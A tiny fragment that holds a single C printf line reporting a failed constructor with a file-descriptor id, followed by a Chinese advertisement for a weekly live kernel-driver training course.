printf(
"constructor failed [id] %d\n"
,fd);
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课